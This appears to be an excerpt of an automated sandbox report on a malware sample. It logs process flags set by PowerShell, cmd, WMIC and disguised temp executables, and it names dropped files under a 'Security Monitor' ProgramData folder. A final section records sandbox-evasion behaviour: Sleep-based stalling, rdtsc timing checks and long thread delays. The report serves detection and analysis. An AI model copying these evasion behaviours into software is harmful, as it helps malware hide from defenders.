Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Stalling execution: Execution stalls by calling Sleep

graph_71-37198

Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Memory allocated: 11B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Memory allocated: 2EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_0339B8B0 rdtsc

56_2_0339B8B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5421	Jump to behavior
